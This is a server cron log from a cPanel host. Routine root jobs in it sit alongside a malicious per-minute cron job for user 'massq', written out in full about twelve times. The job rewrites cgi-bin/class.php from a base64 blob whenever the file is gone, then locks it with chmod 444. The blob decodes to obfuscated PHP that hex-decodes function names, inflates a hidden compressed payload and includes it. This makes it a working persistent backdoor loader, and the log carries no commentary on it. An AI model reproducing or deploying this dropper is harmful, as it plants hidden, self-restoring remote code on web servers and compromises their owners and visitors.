Sep  6 01:58:01 server CROND[18967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:58:01 server CROND[18968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:59:01 server CROND[19336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:59:01 server CROND[19338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:59:01 server CROND[19337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:00:01 server CROND[19718]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 02:00:01 server CROND[19719]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 02:00:01 server CROND[19722]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 02:00:01 server CROND[19723]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 02:00:01 server CROND[19729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:00:01 server CROND[19728]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:00:01 server CROND[19724]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 02:00:01 server CROND[19726]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep  6 02:00:01 server CROND[19721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:00:01 server CROND[19732]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:00:01 server CROND[19727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:01:01 server CROND[20589]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 02:01:01 server CROND[20590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:01:01 server CROND[20591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:01:01 server CROND[20592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:01:01 server run-parts(/etc/cron.hourly)[20589]: starting 0anacron
Sep  6 02:01:01 server anacron[20612]: Anacron started on 2026-09-06
Sep  6 02:01:01 server anacron[20612]: Normal exit (0 jobs run)
Sep  6 02:01:01 server run-parts(/etc/cron.hourly)[20614]: finished 0anacron
Sep  6 02:02:01 server CROND[20976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:02:01 server CROND[20975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:02:01 server CROND[20977]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:03:01 server CROND[21441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:03:01 server CROND[21443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:03:01 server CROND[21442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:04:01 server CROND[21809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:04:01 server CROND[21810]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:04:01 server CROND[21812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:05:01 server CROND[22256]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:05:01 server CROND[22258]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 02:05:01 server CROND[22260]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  6 02:05:01 server CROND[22262]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:05:01 server CROND[22261]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 02:05:01 server CROND[22263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:05:01 server CROND[22266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:05:01 server CROND[22264]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 02:05:01 server CROND[22265]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:06:01 server CROND[23278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:06:01 server CROND[23279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:06:01 server CROND[23280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:07:01 server CROND[23655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:07:01 server CROND[23656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:07:01 server CROND[23657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:08:01 server CROND[24032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:08:01 server CROND[24033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:08:01 server CROND[24034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:09:01 server CROND[24413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:09:01 server CROND[24416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
